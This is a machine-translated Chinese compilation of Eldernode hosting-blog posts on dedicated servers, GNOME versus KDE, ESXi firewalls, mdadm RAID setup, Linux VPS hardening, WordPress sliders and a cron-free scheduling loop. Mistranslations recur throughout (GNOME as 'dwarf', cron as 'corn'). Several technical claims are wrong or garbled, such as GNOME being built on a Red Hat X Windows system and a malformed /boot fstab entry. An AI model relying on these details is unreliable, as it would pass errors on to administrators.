ElderNode-博客中文翻译-一-
ElderNode 博客中文翻译(一)
选择专用服务器而非共享主机的 10 大理由
原文:https://blog.eldernode.com/10-reasons-to-choose-dedicated-server/
随着网站的发展,知道何时将网站转移到强大的高级服务器上是很重要的。在这方面有很多选择,你可以把你的网站转移到不同的服务器上。要选择合适的服务器,你需要找到想要升级的理由。您可能会体验到流量的立即增加,或者预期将来站点流量会增加。专用服务器绝对是这方面的理想之选,因为它们具有强大的安全特性,并且对页面加载时间有潜在的积极影响。在本教程中,我们将向您介绍选择专用服务器而不是共享主机的 10 个理由。你可以访问 Eldernode 网站上的套装,购买一台 廉价专用服务器 。
2022 年选择专用服务器的理由
专用服务器是一个虚拟主机选项,物理服务器专用于特定客户。事实上,客户端独占使用服务器的所有功能,完全控制服务器,并可以根据自己的需要优化服务器。它在数据中心 24 小时开启,并连接到万维网。由于专用服务器非常敏感,因此它们应该由专业的管理员来管理,以便服务器上的网站和文件在安全性和质量方面处于适当的水平。这台电脑让您可以更好地控制您的网站,其他网站不会影响您的网站。
在这篇来自专用服务器培训系列的文章的续篇中,我们将解释选择专用服务器而不是共享主机的 10 个理由。
1-专用服务器比共享托管 更安全
在共享主机中,服务器由几个用户共享,由于这个原因,他们比专用服务器更容易受到网络攻击。专用服务器运行几乎所有类型的脚本和软件,您可以安装任何安全软件来为您的服务器增加额外的可靠性。
在专用服务器中,您的网站只处理您的服务器,安全风险较小。它配备了配置的 DDoS 保护、IP 地址阻止和其他服务器级安全功能。
2——它是最昂贵的服务器之一
由于专用服务器完全专用于您的网站,所有维护费用由您负责。专用服务器的成本是共享主机的 15 倍。它有先进的选择,正因为如此,它的高价格是合理的。但是在共享主机中,服务器管理者管理服务器,网站所有者不参与管理。所以花费更少。
3-专用服务器比共享托管 更快更可靠
一台服务器的性能取决于您的托管服务器中使用的技术,如 SSD 硬盘、收银软件、CDN 等。网站性能在吸引新访客和增加流量方面起着关键作用。高网站性能导致网站优化。
专用服务器更快、更可靠,并为你的网站提供更多的资源,如 CPU、RAM 等。它们提供了硬件的全部潜力,而共享主机服务器在同一硬件上托管多个客户端,并且仅提供其部分功能。
4 台专用服务器为您的主机需求提供高带宽
带宽是指每单位时间的信息量,是一种网络度量,它显示了无线通信链路在给定时间段内通过网络连接传输数据的最大容量。专用服务器允许您选择想要的带宽,并随时升级/降级。共享主机上可供您使用的带宽是有限的,由所有用户共享。它的连接速度较慢。
5-专用服务器具有极高的可扩展性
可伸缩性是系统或应用程序处理增加的用户流量的能力。这种管理应该以用户不会注意到系统中任何变化的方式进行。一些主机提供商提供有限的可伸缩性,但是在许多情况下,它们是不可伸缩的。专用服务器不会竞争服务器上的资源,并且具有很好的可伸缩性。
您可以通过向您的主机提供商发送请求来升级您的专用服务器硬件。如果您在特定时间段需要较少的流量,您甚至可以缩小规模。
6-专用服务器提供快速加载时间
网站的速度被认为是 SEO 和用户满意度中非常重要的一个类别,这使得网站所有者开始重视这个问题。你可以用很多方法来降低网站的速度,但是很多方法需要编码和技术知识。专用服务器提供快速加载时间,即使你有繁忙的交通。共享主机限制了您可以使用的资源数量,从而降低了您网站的整体速度。
7-可以定制专用服务器
您可以根据自己的意愿定制不同模式的专用服务器。专用服务器没有任何限制,可以根据您的需要以不同的方式使用。但是,如果您对共享主机服务器的后端进行任何更改,它将适用于所有用户。所以你不能定制共享主机服务器。
8-专用服务器允许你访问服务器的所有资源
专用服务器没有共享的服务器资源和其他共享您的空间的应用程序,会阻塞服务器的 RAM 或 CPU。但是在共享托管服务器里,你会和其他用户共享资源,它不属于你。所以,你不会独占资源。
9-公司可以将专用服务器用于各种目的
组织和公司可以将专用服务器用于各种目的,例如运行敏感软件、运行互联网网站、建立高流量网站、托管多个网站、实施专用防火墙以及托管私有云。大多数虚拟主机服务提供商在专用服务器上运行他们的产品或计划。托管需要大量资源的网站是专用服务器最常见的用途之一。
10-可以自行配置服务器的人最好选择
专用服务器适合能单独管理服务器,有技术经验的人。使用专用的服务器,你可以完全控制每一个方面,你可以选择安装的软件,操作系统等。
但是如果你在服务器管理方面没有太多的技术技能,并且你想创建一个在线状态,那么共享服务器更适合你。在共享主机中,您将拥有有限的管理访问权限,并且无法配置软件。
结论
你可以从一个专门的服务器提供商那里租用一个专门的服务器来满足你的虚拟主机需求。在本文中,我们介绍并解释了选择专用服务器而不是共享主机的 10 个原因。我希望这篇教程对你有帮助。如果您有任何问题或建议,可以在评论区联系我们。
选择 Gnome 而非 KDE 的十大理由
原文:https://blog.eldernode.com/10-reasons-to-choose-gnome-over-kde/
与 Windows 和 macOS 不同,Linux 令人兴奋的一个方面是它有大量的桌面环境。此功能使用户能够根据自己的兴趣和任务选择合适的桌面环境。KDE 等离子和 Gnome 是两个最好的 Linux 桌面环境。这篇文章将解释选择 Gnome 而不是 KDE 的 10 大理由。如果你打算购买一台 Linux VPS 服务器,你可以在 Eldernode 网站上查看提供的软件包。
为什么选择 Gnome 而不是 KDE?
Gnome 是一个为开源应用程序编写的桌面环境。它是专门为 Linux 编写的,由 Gnome 项目开发。这个桌面环境是一个国际项目,旨在开发软件框架,也被认为是 GNU 项目的一部分。但是 KDE 代表 K 桌面环境,是基于 Linux 的操作系统的桌面环境。它提供了一个图形界面来选择自己定制的桌面环境。使用这种环境使您能够完全访问和控制桌面环境的所有部分。
1- GNOME 是自由软件
Gnome 桌面环境是 100%自由软件。用户可以用 Gnome 拥有最美的桌面体验,无需支付任何费用。它也允许用户改变他们的桌面环境,如果他们不喜欢 Gnome,而不会招致经济损失。
2- GNOME 有一个大型社区
Gnome 有一个非常大且活跃的互动社区,可以帮助开发用于工作、教育和娱乐的高级软件。它为开发人员提供了构建现代项目所需的所有工具和资源。还有,这个社区帮助新用户毫不犹豫地适应平台。如果你对 GNOME 有疑问或问题,你可以直接使用他们的官方讨论社区。也可以参考一下最新的公告和开发进度消息。
3- GNOME 易于安装和配置
安装和配置 Gnome 桌面环境比 KDE 等离子桌面环境更容易。只需打开终端,输入安装和配置命令。此外,它有一个最小的用户界面,没有额外的功能,易于使用。GNOME 的设计语言更接近你在手机和平板电脑上的体验。
4-侏儒快
拥有一个在可用系统资源下高效、快速工作的桌面环境非常重要。如果你想进行多任务处理,又没有重型配置支持,这一点尤为重要。性能和速度取决于您正在做的事情和可用的系统资源。Gnome 比 KDE 更高效、更快,而且更加可定制。它也有一个现代和干净的外观。
5-侏儒轻巧
Gnome 是轻量级的,快速的,并且易于定制。它还具有许多开箱即用的功能。你可以通过 Ubuntu 软件中心轻松安装其他软件。
6-侏儒更安全
如果你正在寻找一个安全的操作系统,GNOME 是你最好的选择。GNOME 比 KDE 更安全。虽然两种桌面环境都提供了安全特性,GNOME 比 KDE 提供了更多的安全优势。
7- GNOME 有更好的搜索工具
GNOME 有比 KDE 更好的搜索工具。这意味着在使用 GNOME 时,你会更快更容易地找到你需要的东西。GNOME 搜索工具是一个在你的系统中查找文件的工具。要执行基本搜索,您可以键入带或不带通配符的文件名。此外,您可以应用其他搜索选项。
8- GNOME 有一个好得多的文件管理器
与 KDE 相比,GNOME 有一个更好的文件管理器。而且,它比 KDE 有更多的特色。Gnome 的文件管理器管理你的文件、文件夹和硬件,并允许你移动、创建、重命名、复制和删除它们。
9-侏儒有一个很棒的音乐播放器
Rhythmbox 是一款免费的开源音乐播放器软件,适用于 Linux 和基于 Unix 的操作系统上的 GNOME 桌面,GNOME 将 Rhythmbox 作为其默认的音乐播放器。这个程序有许多功能,非常容易使用。如果你需要别的,像 Amarok 和 Banshee 这样的其他玩家都有。
10- GNOME 对 Linux 用户的支持更好
GNOME 是基于红帽开发的 X Windows 系统的开源项目和系统。大多数桌面环境都使用这个系统。任何人都可以下载和修改。
结论
KDE 和 Gnome 都是 Linux 最流行的桌面环境。在这篇文章中,我们解释了选择 Gnome 而不是 KDE 桌面环境的十大理由。我希望这篇教程对你有用。如果您有任何问题或建议,可以在评论区联系我们。
需要防火墙的 10 大理由 VMware ESXi - Eldernode
原文:https://blog.eldernode.com/10-reasons-why-you-need-a-firewall-vmware-esxi/
ESXi 是 VMware 虚拟机管理程序软件套件的最新版本,独立于操作系统,直接安装在硬件上。该软件中使用了裸机技术,它提供了管理硬件和系统资源的可能性。使用该软件,您可以创建虚拟机,还可以执行向虚拟机分配资源的过程。事实上,可以说 ESXi 控制和管理虚拟机之间的硬件资源。在本文中,我们打算向您介绍您需要 VMware ESXi 防火墙的 10 个原因。如果你想购买即时 VPS 服务器,你可以访问 Eldernode 网站上提供的计划。
为什么需要防火墙 VMware ESXi?
1。防范恶意软件攻击
虚拟防火墙通常是软件定义的网络(SDN)的关键组件。防火墙 VMware ESXi 通常部署为私有云(如 ESXi 或公共云)中的虚拟设备,以监控和保护物理和虚拟网络中的流量,并防范任何恶意软件攻击。
2。防止数据丢失
防火墙 VMware ESXi 确保通过网络连接传输的数据的安全性和完整性。这些防火墙定义了保护网络数据以及任何破坏或丢失网络数据的企图的过程和方法。
3。安全应用
您的网络中存在符合 VMware ESXi 防火墙规则(作为标准)的自定义应用程序和软件,这使得能够根据防火墙策略确保应用程序的安全性。
4。保护虚拟机免受拒绝服务攻击
如今,DDoS 攻击被用来获取数据、危害竞争对手的业务、破坏操作系统等等。通常,DDoS 攻击是由一个或多个特定的 IP 进行的,并且不容易检测到它们。但是您可以通过防火墙 VMware ESXi 轻松防止这些攻击的发生。
5。防止虚拟机欺骗
如果您使用防火墙 VMware ESXi,将会阻止欺骗攻击。欺骗攻击实际上是未经授权的用户通过伪造信息作为授权用户进入网络。这些攻击降低了网络性能,干扰了网络安全。
6。检测和补救网络入侵
防火墙 VMware ESXi 在拥有大量服务器和计算机的大型组织中发挥着至关重要的作用。因为有必要限制用户对所有 web 内容的访问,以防止对系统的渗透和对整个网络的破坏,并且只有必要和必需的站点才应该是可访问的。
7。保持安全态势
随着攻击数量的不断增加,网络安全团队需要处理许多复杂问题,包括漏洞管理、安全控制、攻击检测、事件响应、恢复、合规性、报告等。因此,使用防火墙 VMware ESXi 对维护安全态势有很大影响。
8。保证业务连续性
大多数公司会在没有互联网的情况下挣扎一天。虽然互联网极大地改善了商业交流和生产力,但我们不应该忽视这种对技术的过度依赖。充分的安全措施对所有运营公司都至关重要,无论其规模和行业如何。现代公司必须使用的确保业务连续性的最重要的安全方法之一是使用防火墙 VMware ESXi。
9。降低成本
对于个人使用或降低成本,使用防火墙 VMware ESXi 更经济、更合适。但当涉及到大型组织或安全性和更高的速度时,更好、更可靠的硬件型号肯定会满足您的系统需求。
10。减少硬件资源的使用
您可以使用防火墙 VMware ESXi 来最大限度地减少运行虚拟机管理程序所需的硬件资源,并更有效地抵御各种攻击。
结论
ESXi 主要在组织中使用,管理者可以通过配置文件上传必要的信息。因此,在本文中,我们试图向您介绍您需要 VMware ESXi 防火墙的 10 个原因。如果你有任何问题,你可以在评论区和我们分享。
在 Linux 上安装 RAID 的两种简单方法
原文:https://blog.eldernode.com/2-easy-methods-to-install-raid-on-linux/
Raid 是一种可以用来提高数据存储设备的速度和可靠性的技术。在 Raid 系统中,至少并行使用两个存储设备。这些设备可以是硬盘或 SSD。本文将介绍在 Linux 上安装 RAID 的两种简单方法。如果你打算购买一台 Linux VPS 服务器,你可以在 Eldernode 网站上查看提供的软件包。
Linux 上如何安装 RAID
RAID 代表独立磁盘冗余阵列,是一种数据存储虚拟化技术。事实上,它是一种将相同的数据存储在多个硬盘或固态驱动器( SSD )的不同位置的方法,以在驱动器出现故障的情况下保护数据。这项技术将多个物理磁盘驱动器组件组合在一个或多个逻辑单元中,以提高性能和/或实现数据冗余。它有不同的级别,根据实施的 RAID 级别,您可以利用它的优势。
1-在 Linux 上创建 RAID 系统
第一步是选择要使用的存储设备和技术。当您想要在多个物理驱动器上创建驱动器时,您应该使用具有相同容量的存储设备,或者这些存储设备应该具有相同的类型和型号。
您可以选择的三种主要技术选项是硬件 RAID、混合 RAID(硬件和软件元素的组合)和软件 RAID。硬件 RAID 和混合 RAID 需要昂贵的 RAID 控制器,在发生故障的情况下,只有当您用相同的型号替换它时,阵列恢复才是可能的。
安装 mdadm 工具,使用以下命令创建和管理 RAID 系统:
Debian/Ubuntu:
apt install mdadm
CentOS/Redhat:
sudo yum install mdadm
苏斯:
sudo zypper install mdadm
Arch Linux:
sudo pacman -S mdadm
在安装过程中,将管理阵列所需的设置保留为默认值。
使用以下命令检查是否有硬盘:
cat /proc/partitions
你会得到硬盘的列表。标记为 sda、sdb 和 sdc。sda 是安装操作系统的地方,sdb 和 sdd 是构成 raid 系统的地方。您应该在构建系统之前准备好系统的硬盘。
要在驱动器中创建分区,请使用以下命令:
sudo fdisk /dev/sdb
键入 p 查看分区,键入 n 创建新分区。
您可以指定主 (p) 或扩展 (e) 分区类型。选择第一个分区类型 1 。将其他设置设为默认值,并按下进入。现在应该创建了新的分区。
然后按下 w 记录变化。驱动器同步将开始。
您需要对其他驱动器重复相同的步骤。完成操作后,输入以下命令:
sudo partprobe
最后,使用以下命令检查驱动器是否存在:
cat /proc/partitions
将显示系统注册的驱动器。让我们去创建数组。
您可以使用以下命令创建阵列:
sudo mdadm --create /dev/md0 -a yes -l 5 -n 3 /dev/sdb1 /dev/sdc1 /dev/sdd1
让我们进入下一步。
2-将 RAID 转换到文件系统
在此步骤中,运行以下命令启动转换过程:
mkfs.ext4 /dev/md0
现在您应该挂载分区了。为此,请运行以下命令:
mount /dev/md0 /mnt
您可以检查驱动器的容量,如下所示:
df -h
您将看到挂载的分区。
使用以下命令在那里创建一个文件,以确保它正常工作:
dd if=/dev/zero of=/mnt/file.mp4 bs=4096 count=100000
要检查创建的目录:
cd /mnt
并使用以下命令检查 RAID 系统的当前状态:
cat /proc/mdstat
请记住,某些故障会导致阵列处于非活动状态。尽管可能没有任何驱动器错误,但阵列将被标记为禁用。在这种情况下,按如下方式停止阵列:
sudo mdadm --stop /dev/md0
然后,您应该使用下面的命令重新组装它:
sudo mdadm --assemble --scan --force
就是这样!
结论
RAID 是通过几个硬盘保存或存储相同数据的基本方法。在本文中,我们教了您两种在 Linux 上安装 RAID 的简单方法。我希望这篇教程对你有用,并帮助你在 Linux 上安装 RAID。如果您有任何问题或建议,可以在评论区联系我们。
20 种保护 Linux 虚拟服务器防止黑客入侵的方法
原文:https://blog.eldernode.com/20-ways-to-secure-a-linux-virtual-server-to-prevent-hacking/
Linux 虚拟服务器有很多优点。事实上, Linux VPS 比 Windows 等其他操作系统更安全,因为它安装了 LSM (Linux 的安全模型)。但是这个系统是不够的,不能完全保护你的虚拟服务器。在这篇文章中,我们将教你 20 种方法来保护 Linux 虚拟服务器,防止黑客入侵。
20 种保护 Linux 虚拟服务器防止黑客入侵的方法
默认情况下,Linux 比它的竞争对手更安全,但是仍然存在需要解决的漏洞。我们今天教你的使 Linux 更加安全的技术不需要太多的专业知识来设置,你可以很容易地使用这些方法。
1。禁用根用户的登录
想要一个安全的 VPS?永远不要以 root 用户的身份登录。
默认情况下,每个 Linux 虚拟服务器都有一个“root”作为主要用户名,因此黑客试图通过他们执行的暴力攻击来获取和访问密码。禁用从“root”用户名登录为您的服务器增加了另一个安全级别,并防止黑客进入 root 用户。
您需要创建另一个用户名,并使用“sudo”命令来执行根级别的命令,而不是以根用户身份登录。Sudo 是一种特殊的访问权限,可以授予经过身份验证的用户,这样他们就可以执行管理命令,并且不再需要 root 访问权限。
在禁用 root 用户之前,请确保您指定了想要使用的用户权限。当您准备好这样做时,在服务器控制台中,打开 nano 或 vi 中的命令并找到" PermitRootLogin "参数。
默认情况下,其值等于“是”。将其更改为“否”并保存更改。
2。更改 SSH 端口
黑客用来连接 SSH 服务器的第一个端口是端口 22。如果您更改了这个端口,就在很大程度上阻止了他们对 SSH 的访问。为此,您需要打开它,在此部分进行适当的设置。
当然,在这样做之前,要确保您选择的端口没有被服务器上的其他服务使用。
3。保持服务器软件最新
保持服务器软件最新并不困难。您可以轻松地使用 rpm / yum [1]或 apt-get (Ubuntu / Debian)软件包管理器来更新已安装软件、模块和元素的较新版本。
您甚至可以将操作系统配置为通过电子邮件发送 yum 软件包更新警报。这使得跟踪更改变得更加容易。如果你想自动执行任务,你可以设置 cronjob 来应用你这边的所有安全更新。
如果你使用像 DirectAdmin 或 Cpanel 这样的面板,你应该经常更新它们,尽管这些面板中的大多数都有自动更新功能,没什么好担心的。
您应该总是尽早安装安全补丁,因为侵入服务器的风险会随着时间的推移而增加。
4。禁用未使用的网络端口
您不使用的开放网络端口是黑客的好目标,关闭它们可以保护您免受攻击。
使用“ netstat ”命令显示所有打开的网络端口。
使用“ iptables ”设置关闭所有端口,或者使用“ chkconfig 命令禁用不需要的服务。如果您使用的是 CSF 之类的防火墙,您可以自动化 iptables 规则。
5。删除不需要的模块/包
您的服务器上可能有并非所有 Linux 服务器都需要的服务。请注意,您从服务器上移除的每个服务都会减轻您的一些安全顾虑,因此请确保您在服务器上使用了您真正需要的服务。
以后一定要避免安装不必要的软件,以免出现安全问题。
6。禁用 IPv6
IPv6 比 IPv4 有很多优势,但是你用的可能性很小,因为用的人很少,但是黑客用 IPv6 的很多。如果您不使用 IPv6,请将其禁用。
他们通常通过 IPv6 发送恶意流量,发布该协议会给他们带来风险。要解决此问题,请单击 edit /etc/sysconfig/ network 并更新设置,使其显示 NETWORKING_ IPV6 = no 和 IPV6INIT = no。
7。使用 GnuPG 加密
黑客通常在数据通过网络传输时攻击数据。这就是为什么必须使用密码、密钥和证书对传输到服务器的数据进行加密。GnuPG 是一种流行的工具,一种用于加密通信的基于密钥的认证系统。这个系统使用一个“公钥,这个公钥只能被一个“私钥”解密,而这个“私钥”只能在接收方获得。
8。设置强密码
弱密码总是对安全性的一大威胁。不要让您的服务器用户使用容易被发现的弱密码。
选择密码时,最好使用大小写字母、数字和符号。您还可以指定一个特定的时间段,以便用户在该时间后必须更改密码。
还可以使用“faillog”命令来设置登录失败限制,并在尝试保护系统免受暴力攻击失败后关闭用户帐户。
9。防火墙配置
如果你真的想要一个安全的 VPS,你需要一个防火墙。
NetFilter 是一款与 Linux 内核集成的防火墙,您可以配置它来过滤掉不想要的流量。使用 NetFilter 和 iptables,您可以抵御拒绝服务(DDos)攻击。
防火墙调整不够,确保配置正确。
TCPWrapper 是另一个有用的应用,基于主机的访问控制列表系统,用于过滤各种应用的网络访问。它还提供主机名验证、标准化日志记录和间谍保护,所有这些都有助于提高您的安全性。
其他流行的防火墙包括 CSF 和 APF,它们都有 cPanel 和 Plesk 等流行面板的插件。
10。使用磁盘分区
为了提高安全性,最好对磁盘进行分区,将操作系统文件与用户文件、tmp 文件和第三方程序分开。您可以在操作系统分区上禁用 SUID / SGID (nosuid)访问并运行二进制文件(noexec)。
11。开机只是读取
在 Linux 服务器上,所有内核文件都存储在“ /boot ”目录中。
但是这个目录的默认访问级别是“读写”。要防止对服务器性能至关重要的引导文件进行未经授权的更改,请将访问级别更改为“只读”。
为此,只需编辑/ etc / fstab 文件,并在底部添加默认标签= / boot / boot ext2,ro 1 2。如果将来需要更改内核,可以很容易地将其重置为“读写”模式。然后,您可以进行更改,并在完成后将其返回到“只读”模式。
12。使用 SFTP 而不是 FTP
即使使用加密的“TLS 上的 FTP”(FTPS)连接,FTP 文件传输协议也不再安全。
当计算机程序干预和监控网络流量时,FTPS 和 FTP 都容易受到攻击。FTP 是干净的,FTPS 文件传输是干净的,这意味着只有证书是加密的。
SFTP,即“通过 SSH 的 FTP”(也称为“安全 FTP”),完全加密所有数据,使您的服务器安全。
13。使用防火墙
您的防火墙是一个网关,它允许和阻止对服务器的访问,是您抵御黑客的第一道防线。安装和配置防火墙是您在安装和保护 VPS 或裸机服务器时需要做的第一件事。
14。安装杀毒软件
防火墙或防火墙的主要工作是防止对服务器信息的访问,是您抵御黑客的第一道防线,但没有防火墙是完全安全的,许多恶意软件可以绕过它,因此需要其他安全措施。。
许多服务器管理员不在他们的服务器上安装防病毒软件,因为他们发现它有局限性。他们不这样做,因为安装这些抗病毒药物需要一些专业知识和费用。因为这些人不想为他们服务器的安全性付费。
但是如果你没有足够的钱购买付费杀毒软件,你可以使用免费版本,比如 ClamAV T1 和 T2 Maldet T3,它们可以扫描你的服务器并显示可疑文件。
15。CMS 自动更新
黑客总是试图找到安全漏洞。特别是在内容管理系统方面,最著名的是 Joomla、Drupal 和 WordPress,大多数网站都使用这些内容管理系统。这些 CMS 的大多数开发者发布了很多安全更新。在这些内容管理系统中,WordPress 发布的更新最多。这个内容管理系统还允许你随着新版本的发布而自动更新,如果你使用的是旧版本的 WordPress,现在就更新它以防止黑客的渗透。
16。激活 WHM 的 cPHulk
除了防火墙,cPanel 还有一个“cPHulk”蛮力安全系统。
防火墙并非没有缺陷,有时会出错,黑客也能闯入,这往往是由于防火墙设置不正确。同时,cPHulk 充当二级防火墙,防止对服务器的暴力攻击。
我们知道,cPHulk 首先阻止了登录功能,防火墙后来阻止了它,并阻止了整个 IP。要启用它,你需要去 WHM 安全中心并选择 cPHulk 蛮力保护。
17。防止匿名 FTP 上传
cPanel 和 Plesk 都默认禁用匿名 FTP 上传,但其他服务默认可以启用。
允许匿名用户通过 FTP 上传是一个主要的安全风险。因为它允许任何人上传任何他们想上传的东西到你的网络服务器上。你可以想象,这是完全不推荐的,这意味着你把你的钥匙给了一个小偷。要禁用来宾上传,请编辑 FTP 服务器配置设置。
18。安装一个 rootkit 扫描器
最危险的恶意软件之一是 rootkit。
Rootkit 存在于操作系统级别,低于其他正常的安全软件,并允许未被发现的访问服务器。幸运的是,您可以使用开源工具 chrootkit 来确定您的服务器是否被感染。但是 rootkits 并不总是容易移除,移除它们的最好方法是重新安装操作系统。
19。定期备份
有许多人忘记定期备份,并在出现问题时后悔,因为他们没有数据的副本。不管你有多小心,不管你的服务器有多安全,总有出错和麻烦的可能。
不要冒危险的风险,例如不要备份,也不要过于依赖主机来备份。备份你自己是最好的方法,即使你的主机提供商每天都备份你。将副本保存到不同的位置,并考虑使用备份空间或 Google Drive。
20。使用强密码
糟糕的密码对您的 Linux 服务器是一个安全威胁。当然,这也适用于 Windows 服务器!尽量选择复杂的密码,由大小写字母、不同数字和符号组成的密码就很好了。尽可能选择长而复杂的密码。
当然,CPanel 和 Plesk 都可以应用强密码策略,并定期使密码过期。
结论
全世界有数百万黑客在研究你的 VPS 中最小的漏洞。你需要保护你的 VPS 免受这些威胁,因为黑客迟早会找上你。企业网站和在线商店是全世界黑客的最佳目标。虽然大多数公司都有基本的安全标准,但它们通常很容易被攻破。本文试图解释保护 Linux VPS 服务器和防止黑客攻击的大多数方法。
2021 年推出 3 款最佳 WordPress 滑块插件
原文:https://blog.eldernode.com/3-best-wordpress-slider-plugins/
如果你对网页设计感兴趣,Slider 应该介绍给你。滑块允许您展示图像、视频和其他内容。要创建你自己的滑块并把它们添加到你的主页或登陆页面,你需要使用 WordPress 滑块插件。本教程是介绍 2021 年 3 个最好的 WordPress 滑块插件。由于 WordPress 滑块运行缓慢,你需要购买一个好的 VPS 来防止增加你的页面加载时间。联系 Eldernode 支持团队,订购您认为合适的托管方案。
介绍 WordPress 滑块插件
这篇文章将指导你找到最好的 WordPress 滑块插件来实现性能和质量。由于市面上有几十个 WordPress 滑块插件,你需要能够比较选择最合适的一个。所以,首先加入我们来了解滑块插件。
得益于大量的插件, WordPress 已经成为一个强大的平台。WordPress 滑块插件帮助你创建滑块,改善你网站的访客体验。滑块插件允许你添加视频,使用图层来组合图像、文本和按钮,甚至包括元素和动画的混合。你将能够在各种网站上使用滑块。但是商业网站或者专业的投资组合网站大多都在使用滑块。
作为一名设计师 ,你会喜欢滑块,它们很灵活,可以帮助你使用滑块插件的视觉元素讲述一个引人入胜的故事。而作为网站老板 ,可以将亮点快速展现给用户。Slider 将所有重要内容以视觉上吸引人的交互式幻灯片形式放在页面顶部的主要内容之前。
使用这种插件并不难,但是要在你的网站上找到最合适的一个却很有挑战性。滑块插件是不一样的,它们中的大多数可能会减慢你的网站,因为它们加载了太多的脚本。那么,解决办法是什么呢?回顾下一节,了解什么是选择一个理想的滑块插件的重要参数。
如何选择最好的 WordPress 滑块插件
当你决定使用一个滑块插件时,你需要知道如何比较顶级的插件,并根据它们的速度、易用性和整体特性找出哪个更好。
正如所料,滑块速度在比较中名列前茅。滑块会降低网站速度,影响用户体验和搜索引擎优化。
另一方面,WordPress slider 插件的用户界面使用了太多的技术语言。所以,建议你选择一个初学者友好的插件来简化滑块创建。
乍一看,您认为滑块可以创建简单的图像幻灯片。但是一些滑块插件包含更多的功能。它们可以是完全响应的滑块,在所有设备和屏幕尺寸上看起来都一样漂亮。此外,特色滑块插件支持视频幻灯片,HTML 5 视频,特色内容幻灯片,主题,动画和过渡。所以,最好还是用插件,界面简单且易用的。
根据以上解释,我们对滑块插件进行了类比,从响应度、易用性和速度的角度进行了检验。请继续关注我们,以下是这项研究的结果,前三名 WordPress 滑块插件。
2021 年 3 款最佳 WordPress 滑块插件
让我们来看看排名前三的 WordPress 滑块插件:
1-自言自语滑块插件
独白是最好的响应 WordPress 滑块插件,帮助你创建漂亮的响应滑块。它也被认为是一个简单而强大的插件。使用独白的绝妙之处在于,你永远不需要雇佣开发人员来创建一个 WordPress 滑块。自言自语为用户提供了愉快的体验,因为幻灯片在所有设备上都看起来很棒。速度很重要!独白是最快最好的轻量级插件。它对网络和服务器性能进行了高度优化,并将改善 T2 的搜索引擎优化。
如果你愿意,你可以从 WordPress 插件库中 下载独白 插件。
自言自语滑块插件功能
这个插件有超过 100 个可配置的钩子和过滤器。让我们回顾一下这个强大且用户友好的 WordPress 滑块插件的主要特性和插件:
1-拖放生成器
2-响应迅速的移动友好型
3 滑块主题
4-woo 商务
5-特色内容
6 个灯箱
7-简单且用户友好的界面
8-图像缩略图
还有更多。
2-智能滑块 3 滑块插件
第二个选择的滑块插件是一个强大的、易用的和直观的 WordPress 插件。智能滑块 3 是完全响应的, SEO 优化的,可以和任何 WordPress 主题一起工作。你将体验到一个快速有效的幻灯片创建及其漂亮的界面。好消息是,你不需要任何技术技能和代码来创建一个幻灯片,因为你只能选择一个漂亮的(或空白的)模板,并创建一个图像层,视频和帖子滑块。智能滑块 3 允许您在发布前预览内容。它还提供了一个触摸友好的设计和多个风格和位置的滑块控件。
如果你愿意,你可以从 WordPress 插件库中 下载 智能滑块 3 插件。
智能滑块 3 功能
这个插件使用不同的用户界面,在初学者中很受欢迎。以下是智能滑块 3 的主要功能:
单张幻灯片库
2-与 WordPress 完全集成
3 模板滑块
4 张幻灯片背景
5-隐藏特定设备上的层
6 张幻灯片切换动画:水平、垂直、淡入淡出
还有更多。
3- MetaSlider 滑块插件
对于第三个也是最后一个演示,选择了一个广泛使用和流行的插件。MetaSlider 帮助你创建一个强大的、 SEO 优化的滑块、幻灯片、旋转木马或图库。使用 MetaSlider 允许您以一种更轻量级的方式构建响应性更强、支持触摸的滑块。网站所有者、开发者和主题开发者发现这个强大的插件非常有用。虽然 MetaSlider 提供了选择不同滑块脚本和滑块主题和样式的选项,但初学者可以使用 shortcode、Gutenberg block、widget 或 template 标记在站点上的任何地方简单地插入滑块。
如果你愿意,你可以从 WordPress 插件库中 下载 MetaSlider 插件。
MetaSlider 特性
这个插件广受好评和欢迎。看看它的主要特性列表:
1- 4 滑块设计:Flexslider、响应式滑块、Nivo 滑块和硬币滑块
2-动态幻灯片
3-专为台式机和移动设备打造
4-智能图像裁剪
5-缩略图导航
6-实时主题编辑器
7-预定滑块
还有更多。
结论
在这篇文章中,向你介绍了 WordPress 滑块插件,你已经熟悉了 3 个最好的滑块插件。毫无疑问,在他们的 pro 版本中,你会发现更多有趣的功能和能力。如果您正在使用其中任何一款,请在社区上与您的朋友分享您的体验。
3 个对 Linux 用户有用的技巧——Linux 有用的命令
一个 Linux 系统管理员需要知道一些 Linux 技巧。在这篇文章中,你将学习到对 Linux 用户有用的 3 个技巧。当然,你证实了 Linux 的世界充满了如此多有趣的东西,你越深入,我们发现的东西就越多。为了给你带来让你与众不同的小窍门和小技巧,我们想出了三个小窍门。
对 Linux 用户有用的三招
简短但重要。加入我们来学习这 3 个对 Linux 用户有用的技巧。
如何在没有 Cron 的情况下调度 Linux 作业
先来了解一下这个标题基本是什么意思?在 Linux 中调度作业/命令是 cron 的缩写。每当你需要安排一项工作时,你就打电话给 cron,但是你知道你可以在没有玉米的情况下安排一项工作吗?你可以按照下面的建议去做。
每隔 5 秒运行一次命令(比如 date ,并将输出写入一个文件(比如 date.txt )。您需要直接在命令提示符下运行下面的一行脚本。
while true; do date >> date.txt ; sleep 5 ; done &
为了解释得更详细,请看一下上面一行脚本的结构:
- while true–要求脚本运行当条件为真时,它充当一个循环,使命令反复运行或循环执行。
- 做——做下面的事情,即。,执行位于 do 语句前面的一个或一组命令。
- date>>date.txt–这里 date 命令的输出被写入一个文件 date . txt。另外,请注意,我们使用了 > > 而不是 > 。
- > > 确保 文件(date.txt)不会在每次脚本执行时被覆盖。它只是追加更改。而 > 则反复覆盖文件。
- sleep 5–它要求 shell 在再次执行之前保持 5 秒的时间差。请注意,这里的时间总是以秒为单位。比方说如果你想每 6 分钟执行一次命令,你应该使用( 6*60 ) 360,在连续睡眠中。
- 完成–标志着 while 循环的结束。
- &——把整个流程循环到后台。
同样,您可以用同样的方式执行任何脚本。下面是在某个时间间隔(比如说 100 秒)后调用脚本的命令,脚本的名称是 script_name.sh 。
请记住上面的脚本应该在要调用的脚本所在的目录下运行,否则需要提供一个完整的路径(/home/$ USER/…/script _ name . sh)。以上述时间间隔调用脚本的语法是:
while true; do /bin/sh script_name.sh ; sleep 100 ; done &
根据您最近在本指南中的研究,您可以猜到上面的一行程序不是 Cron 的替代程序,因为 Cron 实用程序支持大量选项,并且非常灵活和可定制。然而,如果我们想要运行某些测试用例或 I/O 基准,那么上面的 singe 命令就可以达到目的。
